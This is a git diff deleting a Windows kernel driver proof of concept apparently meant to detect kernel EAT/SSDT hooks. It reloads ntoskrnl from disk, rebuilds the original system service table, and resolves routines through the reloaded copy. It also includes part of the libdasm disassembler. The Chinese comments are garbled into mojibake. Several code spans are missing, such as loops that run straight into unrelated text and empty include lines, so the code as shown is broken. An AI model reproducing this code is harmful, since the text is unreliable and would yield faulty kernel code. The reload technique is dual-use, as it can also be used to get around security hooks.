-BOOLEAN GetSystemKernelModuleInfo(WCHAR **SystemKernelModulePath,PDWORD SystemKernelModuleBase,PDWORD SystemKernelModuleSize);
-
-BOOLEAN IoGetFileSystemVpbInfo(IN PFILE_OBJECT FileObject,PDEVICE_OBJECT *DeviceObject,PDEVICE_OBJECT *RealDevice);
-
-
-BOOLEAN GetDeviceObjectFromFileFullName(WCHAR *FileFullName,PDEVICE_OBJECT *RealDevice, PDEVICE_OBJECT *DeviceObject);
-
-
-BOOLEAN GetWindowsRootName(WCHAR *WindowsRootName);
-
-NTSTATUS KernelOpenFile(wchar_t *FileFullName,
- PHANDLE FileHandle,
- ACCESS_MASK DesiredAccess,
- ULONG FileAttributes,
- ULONG ShareAccess,
- ULONG CreateDisposition,
- ULONG CreateOptions);
-
-
-
-
-NTSTATUS KernelGetFileSize(HANDLE hFile, PLARGE_INTEGER FileSize);
-
-
-
-NTSTATUS KernelReadFile(HANDLE hFile, PLARGE_INTEGER ByteOffset, ULONG Length, PVOID FileBuffer, PIO_STATUS_BLOCK IoStatusBlock);
-
-
-BOOLEAN ImageFile(BYTE *FileBuffer,BYTE **ImageModuleBase);
-ULONG AlignSize(ULONG nSize, ULONG nAlign);
-
-
-PVOID GetKernelModuleBase(PDRIVER_OBJECT DriverObject,char *KernelModuleName);
-
-BOOLEAN InsertOriginalFirstThunk(DWORD ImageBase,DWORD ExistImageBase,PIMAGE_THUNK_DATA FirstThunk);
-
-
-PVOID
- MiFindExportedRoutine (
- IN PVOID DllBase,
- BOOLEAN ByName,
- IN char *RoutineName,
- DWORD Ordinal
- );
-
-
-
-BOOLEAN FixImportTable(BYTE *ImageBase,DWORD ExistImageBase,PDRIVER_OBJECT DriverObject);
-
-
-BOOLEAN PeLoad(
- WCHAR *FileFullPath,
- BYTE **ImageModeleBase,
- PDRIVER_OBJECT DeviceObject,
- DWORD ExistImageBase
- );
-
-
diff --git a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/ReadMe.txt b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/ReadMe.txt
deleted file mode 100644
index 2aac9c43..00000000
--- a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/ReadMe.txt
+++ /dev/null
@@ -1 +0,0 @@
-Check Kernel EAT Hook
diff --git a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/Reload.c b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/Reload.c
deleted file mode 100644
index 48ca4bcb..00000000
--- a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/Reload.c
+++ /dev/null
@@ -1,355 +0,0 @@
-#include "Reload.h"
-#include "KernelReload.h"
-
-WCHAR* SystemKernelFilePath = NULL;
-ULONG_PTR SystemKernelModuleBase = 0;
-ULONG_PTR SystemKernelModuleSize = 0;
-ULONG_PTR ImageModuleBase;
-
-PVOID OriginalKiServiceTable;
-extern PSERVICE_DESCRIPTOR_TABLE KeServiceDescriptorTable;
-PSERVICE_DESCRIPTOR_TABLE OriginalServiceDescriptorTable;
-PSERVICE_DESCRIPTOR_TABLE Safe_ServiceDescriptorTable;
-
-
-/*
-FuncName ԭNtosַ Լ Ntosַ
-//һζͨ ϵͳԭƫ + NewBase úַ
-//ȻͨԼRMmGetSystemRoutineAddress ƫ+NewBase úַ
-ҵ
-*/
-ULONG ReLoadNtosCALL(WCHAR *lpwzFuncTion,ULONG ulOldNtosBase,ULONG ulReloadNtosBase)
-{
- UNICODE_STRING UnicodeFunctionName;
- ULONG ulOldFunctionAddress;
- PUCHAR ulReloadFunctionAddress = NULL;
- int index=0;
- PIMAGE_DOS_HEADER pDosHeader;
- PIMAGE_NT_HEADERS NtDllHeader;
-
- IMAGE_OPTIONAL_HEADER opthdr;
- DWORD* arrayOfFunctionAddresses;
- DWORD* arrayOfFunctionNames;
- WORD* arrayOfFunctionOrdinals;
- DWORD functionOrdinal;
- DWORD Base, x, functionAddress,position;
- char* functionName;
- IMAGE_EXPORT_DIRECTORY *pExportTable;
- ULONG ulNtDllModuleBase;
-
- UNICODE_STRING UnicodeFunction;
- UNICODE_STRING UnicodeExportTableFunction;
- ANSI_STRING ExportTableFunction;
- //һζͨ ϵͳԭƫ + NewBase úַ
- //ȻͨԼRMmGetSystemRoutineAddress ƫ+NewBase úַ
- __try
- {
- if (RRtlInitUnicodeString &&
- RRtlCompareUnicodeString &&
- RMmGetSystemRoutineAddress &&
- RMmIsAddressValid)
- {
- RRtlInitUnicodeString(&UnicodeFunctionName,lpwzFuncTion);
- ulOldFunctionAddress = (DWORD)RMmGetSystemRoutineAddress(&UnicodeFunctionName);
- ulReloadFunctionAddress = (PUCHAR)(ulOldFunctionAddress - ulOldNtosBase + ulReloadNtosBase); //صFuncAddr
- if (RMmIsAddressValid(ulReloadFunctionAddress)) //Чʹ ȡ ӦòЧ
- {
- return (ULONG)ulReloadFunctionAddress;
- }
- //ӵȡ
- ulNtDllModuleBase = ulReloadNtosBase;
- pDosHeader = (PIMAGE_DOS_HEADER)ulReloadNtosBase;
- if (pDosHeader->e_magic!=IMAGE_DOS_SIGNATURE)
- {
- KdPrint(("failed to find NtHeader\r\n"));
- return 0;
- }
- NtDllHeader=(PIMAGE_NT_HEADERS)(ULONG)((ULONG)pDosHeader+pDosHeader->e_lfanew);
- if (NtDllHeader->Signature!=IMAGE_NT_SIGNATURE)
- {
- KdPrint(("failed to find NtHeader\r\n"));
- return 0;
- }
- opthdr = NtDllHeader->OptionalHeader;
- pExportTable =(IMAGE_EXPORT_DIRECTORY*)((BYTE*)ulNtDllModuleBase + opthdr.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT]. VirtualAddress); //õ
- arrayOfFunctionAddresses = (DWORD*)( (BYTE*)ulNtDllModuleBase + pExportTable->AddressOfFunctions); //ַ
- arrayOfFunctionNames = (DWORD*)((BYTE*)ulNtDllModuleBase + pExportTable->AddressOfNames); //
- arrayOfFunctionOrdinals = (WORD*)((BYTE*)ulNtDllModuleBase + pExportTable->AddressOfNameOrdinals);
-
- Base = pExportTable->Base;
-
- for(x = 0; x < pExportTable->NumberOfFunctions; x++) //ɨ
- {
- functionName = (char*)( (BYTE*)ulNtDllModuleBase + arrayOfFunctionNames[x]);
- functionOrdinal = arrayOfFunctionOrdinals[x] + Base - 1;
- functionAddress = (DWORD)((BYTE*)ulNtDllModuleBase + arrayOfFunctionAddresses[functionOrdinal]);
- RtlInitAnsiString(&ExportTableFunction,functionName);
- RtlAnsiStringToUnicodeString(&UnicodeExportTableFunction,&ExportTableFunction,TRUE);
-
- RRtlInitUnicodeString(&UnicodeFunction,lpwzFuncTion);
- if (RRtlCompareUnicodeString(&UnicodeExportTableFunction,&UnicodeFunction,TRUE) == 0)
- {
- RtlFreeUnicodeString(&UnicodeExportTableFunction);
- return functionAddress;
- }
- RtlFreeUnicodeString(&UnicodeExportTableFunction);
- }
- return 0;
- }
- RtlInitUnicodeString(&UnicodeFunctionName,lpwzFuncTion);
- ulOldFunctionAddress = (DWORD)MmGetSystemRoutineAddress(&UnicodeFunctionName);
- ulReloadFunctionAddress = (PUCHAR)(ulOldFunctionAddress - ulOldNtosBase + ulReloadNtosBase);
-
- //KdPrint(("%ws:%08x:%08x",lpwzFuncTion,ulOldFunctionAddress,ulReloadFunctionAddress));
-
- if (MmIsAddressValid(ulReloadFunctionAddress))
- {
- return (ULONG)ulReloadFunctionAddress;
- }
- //
-
- }__except(EXCEPTION_EXECUTE_HANDLER){
- KdPrint(("EXCEPTION_EXECUTE_HANDLER"));
- }
- return 0;
-}
-
-
-/*Ntos*/
-NTSTATUS ReLoadNtos(PDRIVER_OBJECT DriverObject,DWORD RetAddress)
-{
- NTSTATUS status = STATUS_UNSUCCESSFUL;
- ULONG ulKeAddSystemServiceTable;
- PULONG p;
-
-
- if (!GetSystemKernelModuleInfo(
- &SystemKernelFilePath,
- &SystemKernelModuleBase,
- &SystemKernelModuleSize
- ))
- {
- KdPrint(("Get System Kernel Module failed"));
- return status;
- }
-
-
- if (InitSafeOperationModule(
- DriverObject,
- SystemKernelFilePath,
- SystemKernelModuleBase
- ))
- {
- KdPrint(("Init Ntos module success\r\n"));
-
-
- RRtlInitUnicodeString = NULL;
- RMmGetSystemRoutineAddress = NULL;
- RMmIsAddressValid = NULL;
- RRtlCompareUnicodeString = NULL;
- RPsGetCurrentProcess = NULL;
-
- status = STATUS_UNSUCCESSFUL;
-
- //һζͨ ϵͳԭƫ + NewBase úַ
- //ȻͨԼRMmGetSystemRoutineAddress ƫ+NewBase úַ
- RRtlInitUnicodeString = (ReloadRtlInitUnicodeString)ReLoadNtosCALL(L"RtlInitUnicodeString",SystemKernelModuleBase,ImageModuleBase);
- RRtlCompareUnicodeString = (ReloadRtlCompareUnicodeString)ReLoadNtosCALL(L"RtlCompareUnicodeString",SystemKernelModuleBase,ImageModuleBase);
- RMmGetSystemRoutineAddress = (ReloadMmGetSystemRoutineAddress)ReLoadNtosCALL(L"MmGetSystemRoutineAddress",SystemKernelModuleBase,ImageModuleBase);
- RMmIsAddressValid = (ReloadMmIsAddressValid)ReLoadNtosCALL(L"MmIsAddressValid",SystemKernelModuleBase,ImageModuleBase);
- RPsGetCurrentProcess = (ReloadPsGetCurrentProcess)ReLoadNtosCALL(L"PsGetCurrentProcess",SystemKernelModuleBase,ImageModuleBase);
- if (!RRtlInitUnicodeString ||
- !RRtlCompareUnicodeString ||
- !RMmGetSystemRoutineAddress ||
- !RMmIsAddressValid ||
- !RPsGetCurrentProcess)
- {
- KdPrint(("Init NtosCALL failed"));
- return status;
- }
- }
- return status;
-}
-
-
-
-
-BOOLEAN InitSafeOperationModule(PDRIVER_OBJECT pDriverObject,WCHAR *SystemModulePath,ULONG KernelModuleBase)
-{
- UNICODE_STRING FileName;
- HANDLE hSection;
- PDWORD FixdOriginalKiServiceTable;
- PDWORD CsRootkitOriginalKiServiceTable;
- ULONG i = 0;
-
-
- //Լpeload һntos*ͽ˸ȫijͻ~
- if (!PeLoad(SystemModulePath,(BYTE**)&ImageModuleBase,pDriverObject,KernelModuleBase))
- {
- return FALSE;
- }
-
- OriginalKiServiceTable = ExAllocatePool(NonPagedPool,KeServiceDescriptorTable->TableSize*sizeof(DWORD));
- if (!OriginalKiServiceTable)
- {
- return FALSE;
- }
- //SSDTַͨضλȽϵõ
- if(!GetOriginalKiServiceTable((BYTE*)ImageModuleBase,KernelModuleBase,(DWORD*)&OriginalKiServiceTable))
- {
- ExFreePool(OriginalKiServiceTable);
-
- return FALSE;
- }
-
- //SSDTַ ԼReloadĺַ ɾ
- FixOriginalKiServiceTable((PDWORD)OriginalKiServiceTable,(DWORD)ImageModuleBase,KernelModuleBase);
-
- OriginalServiceDescriptorTable = (PSERVICE_DESCRIPTOR_TABLE)ExAllocatePool(NonPagedPool,sizeof(SERVICE_DESCRIPTOR_TABLE)*4);
- if (OriginalServiceDescriptorTable == NULL)
- {
- ExFreePool(OriginalKiServiceTable);
- return FALSE;
- }
- RtlZeroMemory(OriginalServiceDescriptorTable,sizeof(SERVICE_DESCRIPTOR_TABLE)*4);
-
- //SERVICE_DESCRIPTOR_TABLE ṹ
- OriginalServiceDescriptorTable->ServiceTable = (PDWORD)OriginalKiServiceTable;
- OriginalServiceDescriptorTable->CounterTable = KeServiceDescriptorTable->CounterTable;
- OriginalServiceDescriptorTable->TableSize = KeServiceDescriptorTable->TableSize;
- OriginalServiceDescriptorTable->ArgumentTable = KeServiceDescriptorTable->ArgumentTable;
-
- CsRootkitOriginalKiServiceTable = (PDWORD)ExAllocatePool(NonPagedPool,KeServiceDescriptorTable->TableSize*sizeof(DWORD));
- if (CsRootkitOriginalKiServiceTable==NULL)
- {
- ExFreePool(OriginalServiceDescriptorTable);
- ExFreePool(OriginalKiServiceTable);
- return FALSE;
- }
- RtlZeroMemory(CsRootkitOriginalKiServiceTable,KeServiceDescriptorTable->TableSize*sizeof(DWORD));
-
- Safe_ServiceDescriptorTable = (PSERVICE_DESCRIPTOR_TABLE)ExAllocatePool(NonPagedPool,sizeof(SERVICE_DESCRIPTOR_TABLE)*4);
- if (Safe_ServiceDescriptorTable == NULL)
- {
- ExFreePool(OriginalServiceDescriptorTable);
- ExFreePool(CsRootkitOriginalKiServiceTable);
- ExFreePool(OriginalKiServiceTable);
- return FALSE;
- }
- //һɾԭʼÿӦSSDTĵַԭʼ
- RtlZeroMemory(Safe_ServiceDescriptorTable,sizeof(SERVICE_DESCRIPTOR_TABLE)*4);
-
- //ԭʼַ
- for (i = 0; i < KeServiceDescriptorTable->TableSize; i++)
- {
- CsRootkitOriginalKiServiceTable[i] = OriginalServiceDescriptorTable->ServiceTable[i];
- }
- Safe_ServiceDescriptorTable->ServiceTable = (PDWORD)CsRootkitOriginalKiServiceTable;
- Safe_ServiceDescriptorTable->CounterTable = KeServiceDescriptorTable->CounterTable;
- Safe_ServiceDescriptorTable->TableSize = KeServiceDescriptorTable->TableSize;
- Safe_ServiceDescriptorTable->ArgumentTable = KeServiceDescriptorTable->ArgumentTable;
-
- //ͷžͻbsod
- //ExFreePool(OriginalKiServiceTable);
-
- return TRUE;
-}
-
-
-VOID FixOriginalKiServiceTable(PDWORD OriginalKiServiceTable,DWORD ModuleBase,DWORD ExistImageBase)
-{
- DWORD FuctionCount;
- DWORD Index;
- FuctionCount=KeServiceDescriptorTable->TableSize; //
-
- KdPrint(("ssdt funcion count:%X---KiServiceTable:%X\n",FuctionCount,KeServiceDescriptorTable->ServiceTable));
- for (Index=0;Indexe_magic!=IMAGE_DOS_SIGNATURE)
- {
- return FALSE;
- }
- ImageNtHeaders=(PIMAGE_NT_HEADERS)(NewImageBase+ImageDosHeader->e_lfanew);
- if (ImageNtHeaders->Signature!=IMAGE_NT_SIGNATURE)
- {
- return FALSE;
- }
- KeServiceDescriptorTableRva=(DWORD)MiFindExportedRoutine(NewImageBase,TRUE,"KeServiceDescriptorTable",0);
- if (KeServiceDescriptorTableRva==0)
- {
- return FALSE;
- }
-
- KeServiceDescriptorTableRva=KeServiceDescriptorTableRva-(DWORD)NewImageBase;
- ImageBaseReloc=RtlImageDirectoryEntryToData(NewImageBase,TRUE,IMAGE_DIRECTORY_ENTRY_BASERELOC,&RelocSize);
- if (ImageBaseReloc==NULL)
- {
- return FALSE;
- }
-
- while (ImageBaseReloc->SizeOfBlock)
- {
- count++;
- ItemCount=(ImageBaseReloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION))/2;
- TypeOffset=(WORD*)((DWORD)ImageBaseReloc+sizeof(IMAGE_BASE_RELOCATION));
- for (Index=0;Index>12; //4λ 12λλҳƫ 4k
- if (Type==3)
- {
- //Base + Virtual λҳ + 12λ = RelocAddress Ҫĵַ
- RelocAddress=(PDWORD)((DWORD)(TypeOffset[Index]&0x0fff)+ImageBaseReloc->VirtualAddress+(DWORD)NewImageBase);
- RvaData=*RelocAddress-ExistImageBase;
-
- if (RvaData==KeServiceDescriptorTableRva) //ضλеrva KeServiceDescriptorTable
- {
- if(*(USHORT*)((DWORD)RelocAddress-2)==0x05c7)
- {
- /*
- 1: kd> dd 0x89651c12 RelocAddress - 2
- 89651c12 79c005c7 bd9c83f8
-
- 1: kd> dd KeServiceDescriptorTable
- 83f879c0 83e9bd9c 00000000 00000191 83e9c3e4
- 83f879d0 00000000 00000000 00000000 00000000
-
- 1: kd> dd 0x89651c14 RelocAddress
- 89651c14 83f879c0 83e9bd9c 79c41589 c8a383f8
- 89651c24 c783f879 f879cc05 e9c3e483 d8158983
- */
- //RelocAddress KeServiceDesriptorTableַ
- //RelocAddress + 4 KeServiceDesriptorTableһԱҲSSDTַ
- *NewKiServiceTable=*(DWORD*)((DWORD)RelocAddress+4)-ExistImageBase+(DWORD)NewImageBase;
- return TRUE;
- }
- }
-
- }
-
- }
- ImageBaseReloc=(PIMAGE_BASE_RELOCATION)((DWORD)ImageBaseReloc+ImageBaseReloc->SizeOfBlock);
- }
-
- return FALSE;
-}
diff --git a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/Reload.h b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/Reload.h
deleted file mode 100644
index 425c7687..00000000
--- a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/Reload.h
+++ /dev/null
@@ -1,242 +0,0 @@
-#include "DriverEntry.h"
-#include
-
-#pragma once
-typedef unsigned long DWORD;
-typedef DWORD * PDWORD;
-typedef unsigned char BYTE, *PBYTE;
-typedef unsigned short WORD, *PWORD;
-
-
-typedef struct _SYSTEM_MODULE_INFORMATION // ϵͳģϢ
-{
- ULONG Reserved[2];
- ULONG Base;
- ULONG Size;
- ULONG Flags;
- USHORT Index;
- USHORT Unknown;
- USHORT LoadCount;
- USHORT ModuleNameOffset;
- CHAR ImageName[256];
-} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
-
-typedef struct _tagSysModuleList { //ģṹ
- ULONG ulCount;
- SYSTEM_MODULE_INFORMATION smi[1];
-} MODULES, *PMODULES;
-
-typedef enum _SYSTEM_INFORMATION_CLASS
-{
- SystemBasicInformation, // 0 Y N
- SystemProcessorInformation, // 1 Y N
- SystemPerformanceInformation, // 2 Y N
- SystemTimeOfDayInformation, // 3 Y N
- SystemNotImplemented1, // 4 Y N
- SystemProcessesAndThreadsInformation, // 5 Y N
- SystemCallCounts, // 6 Y N
- SystemConfigurationInformation, // 7 Y N
- SystemProcessorTimes, // 8 Y N
- SystemGlobalFlag, // 9 Y Y
- SystemNotImplemented2, // 10 Y N
- SystemModuleInformation, // 11 Y N
- SystemLockInformation, // 12 Y N
- SystemNotImplemented3, // 13 Y N
- SystemNotImplemented4, // 14 Y N
- SystemNotImplemented5, // 15 Y N
- SystemHandleInformation, // 16 Y N
- SystemObjectInformation, // 17 Y N
- SystemPagefileInformation, // 18 Y N
- SystemInstructionEmulationCounts, // 19 Y N
- SystemInvalidInfoClass1, // 20
- SystemCacheInformation, // 21 Y Y
- SystemPoolTagInformation, // 22 Y N
- SystemProcessorStatistics, // 23 Y N
- SystemDpcInformation, // 24 Y Y
- SystemNotImplemented6, // 25 Y N
- SystemLoadImage, // 26 N Y
- SystemUnloadImage, // 27 N Y
- SystemTimeAdjustment, // 28 Y Y
- SystemNotImplemented7, // 29 Y N
- SystemNotImplemented8, // 30 Y N
- SystemNotImplemented9, // 31 Y N
- SystemCrashDumpInformation, // 32 Y N
- SystemExceptionInformation, // 33 Y N
- SystemCrashDumpStateInformation, // 34 Y Y/N
- SystemKernelDebuggerInformation, // 35 Y N
- SystemContextSwitchInformation, // 36 Y N
- SystemRegistryQuotaInformation, // 37 Y Y
- SystemLoadAndCallImage, // 38 N Y
- SystemPrioritySeparation, // 39 N Y
- SystemNotImplemented10, // 40 Y N
- SystemNotImplemented11, // 41 Y N
- SystemInvalidInfoClass2, // 42
- SystemInvalidInfoClass3, // 43
- SystemTimeZoneInformation, // 44 Y N
- SystemLookasideInformation, // 45 Y N
- SystemSetTimeSlipEvent, // 46 N Y
- SystemCreateSession, // 47 N Y
- SystemDeleteSession, // 48 N Y
- SystemInvalidInfoClass4, // 49
- SystemRangeStartInformation, // 50 Y N
- SystemVerifierInformation, // 51 Y Y
- SystemAddVerifier, // 52 N Y
- SystemSessionProcessesInformation // 53 Y N
-} SYSTEM_INFORMATION_CLASS;
-
-#define LDRP_RELOCATION_FINAL 0x2
-#define RTL_IMAGE_NT_HEADER_EX_FLAG_NO_RANGE_CHECK (0x00000001)
-
-
-typedef struct _AUX_ACCESS_DATA {
- PPRIVILEGE_SET PrivilegesUsed;
- GENERIC_MAPPING GenericMapping;
- ACCESS_MASK AccessesToAudit;
- ACCESS_MASK MaximumAuditMask;
- ULONG Unknown[41];
-} AUX_ACCESS_DATA, *PAUX_ACCESS_DATA;
-
-
-
-typedef struct _LDR_DATA_TABLE_ENTRY
-{
- LIST_ENTRY InLoadOrderLinks;
- LIST_ENTRY InMemoryOrderLinks;
- LIST_ENTRY InInitializationOrderLinks;
- PVOID DllBase;
- PVOID EntryPoint;
- ULONG SizeOfImage;
- UNICODE_STRING FullDllName;
- UNICODE_STRING BaseDllName;
- ULONG Flags;
- USHORT LoadCount;
- USHORT TlsIndex;
- union
- {
- LIST_ENTRY HashLinks;
- struct
- {
- PVOID SectionPointer;
- ULONG CheckSum;
- };
- };
- union
- {
- ULONG TimeDateStamp;
- PVOID LoadedImports;
- };
- PVOID EntryPointActivationContext;
- PVOID PatchInformation;
-} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
-// typedef struct _IMAGE_BASE_RELOCATION {
-// DWORD VirtualAddress;
-// DWORD SizeOfBlock;
-// // WORD TypeOffset[1];
-// } IMAGE_BASE_RELOCATION,*PIMAGE_BASE_RELOCATION;
-// typedef IMAGE_BASE_RELOCATION UNALIGNED * PIMAGE_BASE_RELOCATION;
-
-typedef struct _SERVICE_DESCRIPTOR_TABLE {
- /*
- * Table containing cServices elements of pointers to service handler
- * functions, indexed by service ID.
- */
- PDWORD ServiceTable;
- /*
- * Table that counts how many times each service is used. This table
- * is only updated in checked builds.
- */
- PULONG CounterTable;
- /*
- * Number of services contained in this table.
- */
- ULONG TableSize;
- /*
- * Table containing the number of bytes of parameters the handler
- * function takes.
- */
- PUCHAR ArgumentTable;
-} SERVICE_DESCRIPTOR_TABLE, *PSERVICE_DESCRIPTOR_TABLE;
-NTSTATUS ReLoadNtos(PDRIVER_OBJECT DriverObject,DWORD RetAddress);
-
-
-
-NTSTATUS
- NTAPI
- ZwQuerySystemInformation(
- IN SYSTEM_INFORMATION_CLASS SystemInfoClass,
- OUT PVOID SystemInfoBuffer,
- IN ULONG SystemInfoBufferSize,
- OUT PULONG BytesReturned OPTIONAL
- );
-NTSTATUS
- NTAPI
- ObCreateObject (
- IN KPROCESSOR_MODE ObjectAttributesAccessMode OPTIONAL,
- IN POBJECT_TYPE ObjectType,
- IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
- IN KPROCESSOR_MODE AccessMode,
- IN OUT PVOID ParseContext OPTIONAL,
- IN ULONG ObjectSize,
- IN ULONG PagedPoolCharge OPTIONAL,
- IN ULONG NonPagedPoolCharge OPTIONAL,
- OUT PVOID *Object
- );
-
-
-NTSTATUS
- NTAPI
- SeCreateAccessState(
- PACCESS_STATE AccessState,
- PAUX_ACCESS_DATA AuxData,
- ACCESS_MASK Access,
- PGENERIC_MAPPING GenericMapping
- );
-
-
-NTSYSAPI
- PVOID
- NTAPI
- RtlImageDirectoryEntryToData (
- IN PVOID Base,
- IN BOOLEAN MappedAsImage,
- IN USHORT DirectoryEntry,
- OUT PULONG Size
- );
-
-BOOLEAN InitSafeOperationModule(PDRIVER_OBJECT pDriverObject,WCHAR *SystemModulePath,ULONG KernelModuleBase);
-
-
-
-
-typedef VOID (__stdcall *ReloadRtlInitUnicodeString)(
- __inout PUNICODE_STRING DestinationString,
- __in_opt PCWSTR SourceString
- );
-ReloadRtlInitUnicodeString RRtlInitUnicodeString;
-
-typedef LONG (__stdcall * ReloadRtlCompareUnicodeString)(
- __in PCUNICODE_STRING String1,
- __in PCUNICODE_STRING String2,
- __in BOOLEAN CaseInSensitive
- );
-ReloadRtlCompareUnicodeString RRtlCompareUnicodeString;
-
-
-typedef PVOID (__stdcall *ReloadMmGetSystemRoutineAddress)(
- __in PUNICODE_STRING SystemRoutineName
- );
-ReloadMmGetSystemRoutineAddress RMmGetSystemRoutineAddress;
-
-
-
-typedef BOOLEAN (__stdcall * ReloadMmIsAddressValid)(
- __in PVOID VirtualAddress
- );
-ReloadMmIsAddressValid RMmIsAddressValid;
-
-
-typedef PEPROCESS (__stdcall *ReloadPsGetCurrentProcess)(void);
-ReloadPsGetCurrentProcess RPsGetCurrentProcess;
-
-BOOLEAN GetOriginalKiServiceTable(BYTE *NewImageBase,DWORD ExistImageBase,DWORD *NewKiServiceTable);
-VOID FixOriginalKiServiceTable(PDWORD OriginalKiServiceTable,DWORD ModuleBase,DWORD ExistImageBase);
\ No newline at end of file
diff --git a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/libdasm.c b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/libdasm.c
deleted file mode 100644
index 9df4d804..00000000
--- a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/libdasm.c
+++ /dev/null
@@ -1,1127 +0,0 @@
-
-/*
- * libdasm -- simple x86 disassembly library
- * (c) 2004 - 2005 jt / nologin.org
- *
- *
- * TODO:
- * - more documentation
- * - do more code validation
- *
- */
-
-#include
-#include
-#include "libdasm.h"
-#include "tables.h"
-
-
-// Endianess conversion routines (thanks Ero)
-
-__inline__ BYTE FETCH8(BYTE *addr) {
- // So far byte cast seems to work on all tested platforms
- return *(BYTE *)addr;
-}
-
-__inline__ WORD FETCH16(BYTE *addr) {
-#if defined __X86__
- // Direct cast only for x86
- return *(WORD *)addr;
-#else
- // Revert to memcpy
- WORD val;
- memcpy(&val, addr, 2);
-#if defined __LITTLE_ENDIAN__
- return val;
-#else
- return ((val & 0xff00) >> 8) |
- ((val & 0x00ff) << 8);
-
-#endif // __LITTLE_ENDIAN__
-#endif // __X86__
-}
-
-__inline__ DWORD FETCH32(BYTE *addr) {
-#if defined __X86__
- return *(DWORD *)addr;
-#else
- DWORD val;
- memcpy(&val, addr, 4);
-#if defined __LITTLE_ENDIAN__
- return val;
-#else
- return ((val & (0xff000000)) >> 24) |
- ((val & (0x00ff0000)) >> 8) |
- ((val & (0x0000ff00)) << 8) |
- ((val & (0x000000ff)) << 24);
-
-#endif // __LITTLE_ENDIAN__
-#endif // __X86__
-}
-
-
-// Parse 2 and 3-byte opcodes
-
-int get_real_instruction2(BYTE *addr, int *flags) {
- switch (*addr) {
-
- // opcode extensions for 2-byte opcodes
- case 0x00:
- // Clear extension
- *flags &= 0xFFFFFF00;
- *flags |= EXT_G6;
- break;
- case 0x01:
- *flags &= 0xFFFFFF00;
- *flags |= EXT_G7;
- break;
- case 0x71:
- *flags &= 0xFFFFFF00;
- *flags |= EXT_GC;
- break;
- case 0x72:
- *flags &= 0xFFFFFF00;
- *flags |= EXT_GD;
- break;
- case 0x73:
- *flags &= 0xFFFFFF00;
- *flags |= EXT_GE;
- break;
- case 0xae:
- *flags &= 0xFFFFFF00;
- *flags |= EXT_GF;
- break;
- case 0xba:
- *flags &= 0xFFFFFF00;
- *flags |= EXT_G8;
- break;
- case 0xc7:
- *flags &= 0xFFFFFF00;
- *flags |= EXT_G9;
- break;
- default:
- break;
- }
- return 0;
-}
-
-// Parse instruction flags, get opcode index
-
-int get_real_instruction(BYTE *addr, int *index, int *flags) {
- switch (*addr) {
-
- // 2-byte opcode
- case 0x0f:
- *index += 1;
- *flags |= EXT_T2;
- break;
-
- // Prefix group 2
- case 0x2e:
- *index += 1;
- // Clear previous flags from same group (undefined effect)
- *flags &= 0xFF00FFFF;
- *flags |= PREFIX_CS_OVERRIDE;
- get_real_instruction(addr + 1, index, flags);
- break;
- case 0x36:
- *index += 1;
- *flags &= 0xFF00FFFF;
- *flags |= PREFIX_SS_OVERRIDE;
- get_real_instruction(addr + 1, index, flags);
- break;
- case 0x3e:
- *index += 1;
- *flags &= 0xFF00FFFF;
- *flags |= PREFIX_DS_OVERRIDE;
- get_real_instruction(addr + 1, index, flags);
- break;
- case 0x26:
- *index += 1;
- *flags &= 0xFF00FFFF;
- *flags |= PREFIX_ES_OVERRIDE;
- get_real_instruction(addr + 1, index, flags);
- break;
- case 0x64:
- *index += 1;
- *flags &= 0xFF00FFFF;
- *flags |= PREFIX_FS_OVERRIDE;
- get_real_instruction(addr + 1, index, flags);
- break;
- case 0x65:
- *index += 1;
- *flags &= 0xFF00FFFF;
- *flags |= PREFIX_GS_OVERRIDE;
- get_real_instruction(addr + 1, index, flags);
- break;
- // Prefix group 3 or 3-byte opcode
- case 0x66:
- // Do not clear flags from the same group!!!!
- *index += 1;
- *flags |= PREFIX_OPERAND_SIZE_OVERRIDE;
- get_real_instruction(addr + 1, index, flags);
- break;
- // Prefix group 4
- case 0x67:
- // Do not clear flags from the same group!!!!
- *index += 1;
- *flags |= PREFIX_ADDR_SIZE_OVERRIDE;
- get_real_instruction(addr + 1, index, flags);
- break;
-
- // Extension group 1
- case 0x80:
- case 0x81:
- case 0x82:
- case 0x83:
- *flags |= EXT_G1;
- break;
-
- // Extension group 2
- case 0xc0:
- case 0xc1:
- case 0xd0:
- case 0xd1:
- case 0xd2:
- case 0xd3:
- *flags |= EXT_G2;
- break;
-
- // Escape to co-processor
- case 0xd8:
- case 0xd9:
- case 0xda:
- case 0xdb:
- case 0xdc:
- case 0xdd:
- case 0xde:
- case 0xdf:
- *index += 1;
- *flags |= EXT_CP;
- break;
-
- // Prefix group 1 or 3-byte opcode
- case 0xf0:
- *index += 1;
- *flags &= 0x00FFFFFF;
- *flags |= PREFIX_LOCK;
- get_real_instruction(addr + 1, index, flags);
- break;
- case 0xf2:
- *index += 1;
- *flags &= 0x00FFFFFF;
- *flags |= PREFIX_REPNE;
- get_real_instruction(addr + 1, index, flags);
- break;
- case 0xf3:
- *index += 1;
- *flags &= 0x00FFFFFF;
- *flags |= PREFIX_REP;
- get_real_instruction(addr + 1, index, flags);
- break;
-
- // Extension group 3
- case 0xf6:
- case 0xf7:
- *flags |= EXT_G3;
- break;
-
- // Extension group 4
- case 0xfe:
- *flags |= EXT_G4;
- break;
-
